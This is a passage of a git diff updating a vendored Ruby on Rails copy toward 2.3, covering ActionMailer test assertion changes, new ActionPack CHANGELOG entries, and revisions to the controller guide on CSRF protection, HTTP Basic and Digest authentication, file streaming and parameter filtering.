test_assert_emails_too_many_sent - error = assert_raises Test::Unit::AssertionFailedError do + error = assert_raises ActiveSupport::TestCase::Assertion do assert_emails 1 do TestHelperMailer.deliver_test TestHelperMailer.deliver_test @@ -105,7 +105,7 @@ class TestHelperMailerTest < ActionMailer::TestCase end def test_assert_no_emails_failure - error = assert_raises Test::Unit::AssertionFailedError do + error = assert_raises ActiveSupport::TestCase::Assertion do assert_no_emails do TestHelperMailer.deliver_test end diff --git a/vendor/rails/actionpack/CHANGELOG b/vendor/rails/actionpack/CHANGELOG index 4511e064..546311e0 100644 --- a/vendor/rails/actionpack/CHANGELOG +++ b/vendor/rails/actionpack/CHANGELOG @@ -1,6 +1,118 @@ -*2.2 (November 21st, 2008)* +*Edge* -* Deprecated the :file default for ActionView#render to prepare for 2.3's new :partial default [DHH] +* Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 [José Valim] + + +*2.3.0 [RC1] (February 1st, 2009)* + +* Make the form_for and fields_for helpers support the new Active Record nested update options. #1202 [Eloy Duran] + + <% form_for @person do |person_form| %> + ... + <% person_form.fields_for :projects do |project_fields| %> + <% if project_fields.object.active? %> + Name: <%= project_fields.text_field :name %> + <% end %> + <% end %> + <% end %> + + +* Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 [Jon Crawford] + +* Implement HTTP Digest authentication. #1230 [Gregg Kellogg, Pratik Naik] Example : + + class DummyDigestController < ActionController::Base + USERS = { "lifo" => 'world' } + + before_filter :authenticate + + def index + render :text => "Hello Secret" + end + + private + + def authenticate + authenticate_or_request_with_http_digest("Super Secret") do |username| + # Return the user's password + USERS[username] + end + end + end + +* Improved i18n support for the number_to_human_size helper. Changes the storage_units translation data; update your translations accordingly. #1634 [Yaroslav Markin] + storage_units: + # %u is the storage unit, %n is the number (default: 2 MB) + format: "%n %u" + units: + byte: + one: "Byte" + other: "Bytes" + kb: "KB" + mb: "MB" + gb: "GB" + tb: "TB" + +* Added :silence option to BenchmarkHelper#benchmark and turned log_level into a hash parameter and deprecated the old use [DHH] + +* Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 [DHH] + +* Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. [#1435] [Pratik Naik] Examples: + + # Instead of render(:action => 'other_action') + render('other_action') # argument has no '/' + render(:other_action) + + # Instead of render(:template => 'controller/action') + render('controller/action') # argument must not begin with a '/', but contain a '/' + + # Instead of render(:file => '/Users/lifo/home.html.erb') + render('/Users/lifo/home.html.erb') # argument must begin with a '/' + +* Add :prompt option to date/time select helpers. #561 [Sam Oliver] + +* Fixed that send_file shouldn't set an etag #1578 [Hongli Lai] + +* Allow users to opt out of the spoofing checks in Request#remote_ip. Useful for sites whose traffic regularly triggers false positives. [Darren Boyd] + +* Deprecated formatted_polymorphic_url. [Jeremy Kemper] + +* Added the option to declare an asset_host as an object that responds to call (see http://github.com/dhh/asset-hosting-with-minimum-ssl for an example) [David Heinemeier Hansson] + +* Added support for multiple routes.rb files (useful for plugin engines). This also means that draw will no longer clear the route set, you have to do that by hand (shouldn't make a difference to you unless you're doing some funky stuff) [David Heinemeier Hansson] + +* Dropped formatted_* routes in favor of just passing in :format as an option. This cuts resource routes generation in half #1359 [aaronbatalion] + +* Remove support for old double-encoded cookies from the cookie store. These values haven't been generated since before 2.1.0, and any users who have visited the app in the intervening 6 months will have had their cookie upgraded. [Michael Koziarski] + +* Allow helpers directory to be overridden via ActionController::Base.helpers_dir #1424 [Sam Pohlenz] + +* Remove deprecated ActionController::Base#assign_default_content_type_and_charset + +* Changed the default of ActionView#render to assume partials instead of files when not given an options hash [David Heinemeier Hansson]. Examples: + + # Instead of <%= render :partial => "account" %> + <%= render "account" %> + + # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %> + <%= render "account", :account => @buyer %> + + # @account is an Account instance, so it uses the RecordIdentifier to replace + # <%= render :partial => "accounts/account", :locals => { :account => @account } %> + <%= render(@account) %> + + # @posts is an array of Post instances, so it uses the RecordIdentifier to replace + # <%= render :partial => "posts/post", :collection => @posts %> + <%= render(@posts) %> + +* Remove deprecated render_component. Please use the plugin from http://github.com/rails/render_component/tree/master [Pratik Naik] + +* Fixed RedCloth and BlueCloth shouldn't preload. Instead just assume that they're available if you want to use textilize and markdown and let autoload require them [David Heinemeier Hansson] + + +*2.2.2 (November 21st, 2008)* + +* I18n: translate number_to_human_size. Add storage_units: [Bytes, KB, MB, GB, TB] to your translations. #1448 [Yaroslav Markin] * Restore backwards compatible functionality for setting relative_url_root. Include deprecation @@ -12,7 +124,7 @@ product.resources :images, :except => :destroy end -* Added render :js for people who want to render inline JavaScript replies without using RJS [DHH] +* Added render :js for people who want to render inline JavaScript replies without using RJS [David Heinemeier Hansson] * Fixed that polymorphic_url should compact given array #1317 [hiroshi] @@ -22,17 +134,20 @@ * Fix regression bug that made date_select and datetime_select raise a Null Pointer Exception when a nil date/datetime was passed and only month and year were displayed #1289 [Bernardo Padua/Tor Erik] -* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) [DHH] +* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) [David Heinemeier Hansson] -* Remove the logging of the Session ID when the session store is CookieStore [DHH] +* Remove the logging of the Session ID when the session store is CookieStore [David Heinemeier Hansson] * Fixed regex in redirect_to to fully support URI schemes #1247 [Seth Fitzsimmons] * Fixed bug with asset timestamping when using relative_url_root #1265 [Joe Goldwasser] + +*2.2.0 [RC1] (October 24th, 2008)* + * Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections [packagethief] -* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [DHH]. Example: +* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [David Heinemeier Hansson]. Example: class ArticlesController < ApplicationController def show_with_respond_to_block @@ -82,13 +197,13 @@ * Fixed FormTagHelper#submit_tag with :disable_with option wouldn't submit the button's value when was clicked #633 [Jose Fernandez] -* Stopped logging template compiles as it only clogs up the log [DHH] +* Stopped logging template compiles as it only clogs up the log [David Heinemeier Hansson] -* Changed the X-Runtime header to report in milliseconds [DHH] +* Changed the X-Runtime header to report in milliseconds [David Heinemeier Hansson] -* Changed BenchmarkHelper#benchmark to report in milliseconds [DHH] +* Changed BenchmarkHelper#benchmark to report in milliseconds [David Heinemeier Hansson] -* Changed logging format to be millisecond based and skip misleading stats [DHH]. Went from: +* Changed logging format to be millisecond based and skip misleading stats [David Heinemeier Hansson]. Went from: Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com] @@ -112,7 +227,7 @@ * Added button_to_remote helper. #3641 [Donald Piret, Tarmo Tänav] -* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master [Pratik] +* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master [Pratik Naik] * Routes may be restricted to lists of HTTP methods instead of a single method or :any. #407 [Brennan Dunn, Gaius Centus Novus] map.resource :posts, :collection => { :search => [:get, :post] } @@ -146,7 +261,7 @@ * All 2xx requests are considered successful [Josh Peek] -* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run [DHH] +* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run [David Heinemeier Hansson] * Removed config.action_view.cache_template_loading, use config.cache_classes instead [Josh Peek] @@ -209,7 +324,7 @@ * Replaced TemplateFinder abstraction with ViewLoadPaths [Josh Peek] -* Added block-call style to link_to [Sam Stephenson/DHH]. Example: +* Added block-call style to link_to [Sam Stephenson/David Heinemeier Hansson]. Example: <% link_to(@profile) do %> <%= @profile.name %> -- Check it out!! @@ -240,30 +355,30 @@ * Added session(:on) to turn session management back on in a controller subclass if the superclass turned it off (Peter Jones) [#136] -* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" [rick] +* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" [Rick Olson] * InstanceTag#default_time_from_options with hash args uses Time.current as default; respects hash settings when time falls in system local spring DST gap [Geoff Buesing] * select_date defaults to Time.zone.today when config.time_zone is set [Geoff Buesing] * Fixed that TextHelper#text_field would corrypt when raw HTML was used as the value (mchenryc, Kevin Glowacz) [#80] -* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) [DHH] +* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) [David Heinemeier Hansson] -* Reduce number of instance variables being copied from controller to view. [Pratik] +* Reduce number of instance variables being copied from controller to view. [Pratik Naik] * select_datetime and select_time default to Time.zone.now when config.time_zone is set [Geoff Buesing] * datetime_select defaults to Time.zone.now when config.time_zone is set [Geoff Buesing] -* Remove ActionController::Base#view_controller_internals flag. [Pratik] +* Remove ActionController::Base#view_controller_internals flag. [Pratik Naik] * Add conditional options to caches_page method. [Paul Horsfall] -* Move missing template logic to ActionView. [Pratik] +* Move missing template logic to ActionView. [Pratik Naik] -* Introduce ActionView::InlineTemplate class. [Pratik] +* Introduce ActionView::InlineTemplate class. [Pratik Naik] -* Automatically parse posted JSON content for Mime::JSON requests. [rick] +* Automatically parse posted JSON content for Mime::JSON requests. [Rick Olson] POST /posts {"post": {"title": "Breaking News"}} @@ -273,14 +388,14 @@ # ... end -* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. [rick] +* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. [Rick Olson] * Provide a helper proxy to access helper methods from outside views. Closes #10839 [Josh Peek] e.g. ApplicationController.helpers.simple_format(text) * Improve documentation. [Xavier Noria, leethal, jerome] -* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 [josh, eventualbuddha, Pratik] +* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 [Josh Peek, eventualbuddha, Pratik Naik] * Support render :partial => collection of heterogeneous elements. #11491 [Zach Dennis] @@ -292,17 +407,17 @@ * Fixed HTML::Tokenizer (used in sanitize helper) didn't handle unclosed CDATA tags #10071 [esad, packagethief] -* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria, Sunny Ripert] +* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert] * Fixed that FormHelper#radio_button would produce invalid ids #11298 [harlancrystal] -* Added :confirm option to submit_tag #11415 [miloops] +* Added :confirm option to submit_tag #11415 [Emilio Tagua] * Fixed NumberHelper#number_with_precision to properly round in a way that works equally on Mac, Windows, Linux (closes #11409, #8275, #10090, #8027) [zhangyuanyi] -* Allow the #simple_format text_helper to take an html_options hash for each paragraph. #2448 [Francois Beausoleil, thechrisoshow] +* Allow the #simple_format text_helper to take an html_options hash for each paragraph. #2448 [François Beausoleil, Chris O'Sullivan] -* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice. [rick] +* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice. [Rick Olson] * Refactor filters to use Active Support callbacks. #11235 [Josh Peek] @@ -318,43 +433,43 @@ * Fix nested parameter hash parsing bug. #10797 [thomas.lee] -* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 [alloy] +* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 [Eloy Duran] -* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off [DHH] +* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off [David Heinemeier Hansson] * Make MimeResponds::Responder#any work without explicit types. Closes #11140 [jaw6] * Better error message for type conflicts when parsing params. Closes #7962 [spicycode, matt] -* Remove unused ActionController::Base.template_class. Closes #10787 [Pratik] +* Remove unused ActionController::Base.template_class. Closes #10787 [Pratik Naik] -* Moved template handlers related code from ActionView::Base to ActionView::Template. [Pratik] +* Moved template handlers related code from ActionView::Base to ActionView::Template. [Pratik Naik] -* Tests for div_for and content_tag_for helpers. Closes #11223 [thechrisoshow] +* Tests for div_for and content_tag_for helpers. Closes #11223 [Chris O'Sullivan] * Allow file uploads in Integration Tests. Closes #11091 [RubyRedRick] -* Refactor partial rendering into a PartialTemplate class. [Pratik] +* Refactor partial rendering into a PartialTemplate class. [Pratik Naik] -* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block [DHH] +* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block [David Heinemeier Hansson] -* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 [ernesto.jimenez] +* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 [Ernesto Jimenez] * Remove support for multivalued (e.g., '&'-delimited) cookies. [Jamis Buck] * Fix problem with render :partial collections, records, and locals. #11057 [lotswholetime] -* Added support for naming concrete classes in sweeper declarations [DHH] +* Added support for naming concrete classes in sweeper declarations [David Heinemeier Hansson] -* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application. #10098 [tpope, kampers] +* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application. #10098 [Tim Pope, Chris Kampmeier] -* Fix typo in form_helper documentation. #10650 [xaviershay, kampers] +* Fix typo in form_helper documentation. #10650 [Xavier Shay, Chris Kampmeier] * Fix bug with setting Request#format= after the getter has cached the value. #10889 [cch1] -* Correct inconsistencies in RequestForgeryProtection docs. #11032 [mislav] +* Correct inconsistencies in RequestForgeryProtection docs. #11032 [Mislav Marohnić] -* Introduce a Template class to ActionView. #11024 [lifofifo] +* Introduce a Template class to ActionView. #11024 [Pratik Naik] * Introduce the :index option for form_for and fields_for to simplify multi-model forms (see http://railscasts.com/episodes/75). #9883 [rmm5t] @@ -370,7 +485,7 @@ e.g. map.dashboard '/dashboard', :controller=>'dashboard' map.root :dashboard -* Handle corner case with image_tag when passed 'messed up' image names. #9018 [duncanbeevers, mpalmer] +* Handle corner case with image_tag when passed 'messed up' image names. #9018 [Duncan Beevers, mpalmer] * Add label_tag helper for generating elements. #10802 [DefV] @@ -378,15 +493,15 @@ * Performance: optimize route recognition. Large speedup for apps with many resource routes. #10835 [oleganza] -* Make render :partial recognise form builders and use the _form partial. #10814 [djanowski] +* Make render :partial recognise form builders and use the _form partial. #10814 [Damian Janowski] * Allow users to declare other namespaces when using the atom feed helpers. #10304 [david.calavera] * Introduce send_file :x_sendfile => true to send an X-Sendfile response header. [Jeremy Kemper] -* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 [jeremyevans] +* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 [Jeremy Evans] -* Provide nicer access to HTTP Headers. Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. [Koz] +* Provide nicer access to HTTP Headers. Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. [Michael Koziarski] * UrlWriter respects relative_url_root. #10748 [Cheah Chu Yeow] @@ -396,26 +511,26 @@ * assert_response failures include the exception message. #10688 [Seth Rasmussen] -* All fragment cache keys are now by default prefixed with the "views/" namespace [DHH] +* All fragment cache keys are now by default prefixed with the "views/" namespace [David Heinemeier Hansson] -* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore [DHH] +* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore [David Heinemeier Hansson] -* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store [DHH] +* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store [David Heinemeier Hansson] -* Made fragment caching in views work for rjs and builder as well #6642 [zsombor] +* Made fragment caching in views work for rjs and builder as well #6642 [Dee Zsombor] * Fixed rendering of partials with layout when done from site layout #9209 [antramm] -* Fix atom_feed_helper to comply with the atom spec. Closes #10672 [xaviershay] +* Fix atom_feed_helper to comply with the atom spec. Closes #10672 [Xavier Shay] * The tags created do not contain a date (http://feedvalidator.org/docs/error/InvalidTAG.html) * IDs are not guaranteed unique * A default self link was not provided, contrary to the documentation * NOTE: This changes tags for existing atom entries, but at least they validate now. -* Correct indentation in tests. Closes #10671 [l.guidi] +* Correct indentation in tests. Closes #10671 [Luca Guidi] -* Fix that auto_link looks for ='s in url paths (Amazon urls have them). Closes #10640 [bgreenlee] +* Fix that auto_link looks for ='s in url paths (Amazon urls have them). Closes #10640 [Brad Greenlee] * Ensure that test case setup is run even if overridden. #10382 [Josh Peek] @@ -432,7 +547,7 @@ * Added OPTIONS to list of default accepted HTTP methods #10449 [holoway] -* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [chuyeow]. Example: +* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [Cheah Chu Yeow]. Example: ActionController::Base.asset_host = Proc.new { |source| if source.starts_with?('/images') @@ -461,45 +576,45 @@ * Fixed send_file/binary_content for testing #8044 [tolsen] -* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 [danger] +* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 [Jack Danger Canty] * Update Prototype to 1.6.0.1. [sam] * Update script.aculo.us to 1.8.0.1. [madrobby] -* Add 'disabled' attribute to

8. Request Forgery Protection

-

Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.

-

If you generate a form like this:

+

Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user’s knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you’re following RESTful conventions you’re already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that’s where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.

+

If you generate a form like this:

<% form_for @user do |f| -%>
   <%= f.text_field :username %>
   <%= f.text_field :password -%>
-<% end -%>
-
-

You will see how the token gets added as a hidden field:

+<% end -%>
+

You will see how the token gets added as a hidden field:

<form action="/users/1" method="post">
 <div><!-- ... --><input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/></div>
 <!-- Fields -->
-</form>
-
-

Rails adds this token to every form that's generated using the form helpers, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method form_authenticity_token:

+</form> +

Rails adds this token to every form that’s generated using the form helpers, so most of the time you don’t have to worry about it. If you’re writing a form manually or need to add the token for another reason, it’s available through the method form_authenticity_token:

-
Example: Add a JavaScript variable containing the token for use with Ajax
+
Add a JavaScript variable containing the token for use with Ajax
<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %>
-

The Security Guide has more about this and a lot of other security-related issues that you should be aware of when developing a web application.

+

The Security Guide has more about this and a lot of other security-related issues that you should be aware of when developing a web application.

9. The request and response Objects

-

In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The request method contains an instance of AbstractRequest and the response method returns a response object representing what is going to be sent back to the client.

+

In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The request method contains an instance of AbstractRequest and the response method returns a response object representing what is going to be sent back to the client.

9.1. The request Object

-

The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the API documentation. Among the properties that you can access on this object are:

-
    +

    The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the API documentation. Among the properties that you can access on this object are:

    +
    • host - The hostname used for this request. @@ -934,7 +716,7 @@ host - The hostname used for this request.

    • -domain - The hostname without the first segment (usually "www"). +domain(n=2) - The hostname’s first n segments, starting from the right (the TLD)

    • @@ -949,7 +731,7 @@ method - The HTTP method used for the request.
    • -get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head. +get?, post?, put?, delete?, head? - Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.

    • @@ -964,7 +746,7 @@ port - The port number (integer) used for the request.
    • -protocol - The protocol used for the request. +protocol - Returns a string containing the prototol used plus "://", for example "http://"

    • @@ -984,10 +766,10 @@ url - The entire URL used for the request.

    9.1.1. path_parameters, query_parameters and request_parameters

    -

    Rails collects all of the parameters sent along with the request in the params hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The query_parameters hash contains parameters that were sent as part of the query string while the request_parameters hash contains parameters sent as part of the post body. The path_parameters hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.

    +

    Rails collects all of the parameters sent along with the request in the params hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The query_parameters hash contains parameters that were sent as part of the query string while the request_parameters hash contains parameters sent as part of the post body. The path_parameters hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.

    9.2. The response Object

    -

    The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.

    -
      +

      The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.

      +
      • body - This is the string of data being sent back to the client. This is most often HTML. @@ -1020,18 +802,31 @@ headers - Headers used for the response.

      9.2.1. Setting Custom Headers

      -

      If you want to set custom headers for a response then response.headers is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to headers with the name and value:

      +

      If you want to set custom headers for a response then response.headers is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to headers with the name and value:

      -
      response.headers["Content-Type"] = "application/pdf"
      -
      +
      response.headers["Content-Type"] = "application/pdf"
-

10. HTTP Basic Authentication

+

10. HTTP Authentications

-

Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, authenticate_or_request_with_http_basic.

+

Rails comes with two built-in HTTP authentication mechanisms :

+
    +
  • +

    +Basic Authentication +

    +
  • +
  • +

    +Digest Authentication +

    +
  • +
+

10.1. HTTP Basic Authentication

+

HTTP Basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser’s HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, authenticate_or_request_with_http_basic.

before_filter :authenticate -private + private def authenticate authenticate_or_request_with_http_basic do |username, password| @@ -1051,14 +846,36 @@ private end end -end -
-

With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.

+end
+

With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.

+

10.2. HTTP Digest Authentication

+

HTTP Digest authentication is superior to the Basic authentication as it does not require the client to send unencrypted password over the network. Using Digest authentication with Rails is quite easy and only requires using one method, authenticate_or_request_with_http_digest.

+
+
+
class AdminController < ApplicationController
+
+  USERS = { "lifo" => "world" }
+
+  before_filter :authenticate
+
+  private
+
+  def authenticate
+    authenticate_or_request_with_http_digest do |username|
+      USERS[username]
+    end
+  end
+
+end
+

As seen in the example above, authenticate_or_request_with_http_digest block takes only one argument - the username. And the block returns the password. Returning false or nil from the authenticate_or_request_with_http_digest will cause authentication failure.

11. Streaming and File Downloads

-

Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the send_data and the send_file methods, that will both stream data to the client. send_file is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.

-

To stream data to the client, use send_data:

+

Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the send_data and the send_file methods, that will both stream data to the client. send_file is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.

+

To stream data to the client, use send_data:

send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf") end -end -
-

This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the :stream option or adjust the block size with the :buffer_size option.

+end
+

This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the :stream option or adjust the block size with the :buffer_size option.

- +
Warning Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.Be careful when using (or just don’t use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
@@ -1118,11 +933,11 @@ http://www.gnu.org/software/src-highlite --> Tip -It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. +It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the :x_sendfile option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the X-Sendfile header for this to work, and you still have to be careful not to use user input in a way that lets someone retrieve arbitrary files.

11.2. RESTful Downloads

-

While send_data works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the show action, without any streaming:

+

While send_data works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here’s how you can rewrite the example so that the PDF download is a part of the show action, without any streaming:

end end -end -
-

In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file config/initializers/mime_types.rb:

+end +

In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file config/initializers/mime_types.rb:

-
Mime::Type.register "application/pdf", :pdf
-
+
Mime::Type.register "application/pdf", :pdf
@@ -1158,7 +971,7 @@ http://www.gnu.org/software/src-highlite --> Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
-

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

+

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

GET /clients/1.pdf
@@ -1166,7 +979,7 @@ http://www.gnu.org/software/src-highlite -->

12. Parameter Filtering

-

Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The filter_parameter_logging method can be used to filter out sensitive information from the log. It works by replacing certain values in the params hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":

+

Rails keeps a log file for each environment (development, test and production) in the log folder. These are extremely useful when debugging what’s actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The filter_parameter_logging method can be used to filter out sensitive information from the log. It works by replacing certain values in the params hash with "[FILTERED]" as they are written to the log. As an example, let’s see how to filter all parameters with keys that include "password":

filter_parameter_logging :password -end -
-

The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.

+end
+

The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.

13. Rescue

-

Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:

+

Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they’re displayed to the user. There are several levels of exception handling available in a Rails application:

13.1. The Default 500 and 404 Templates

-

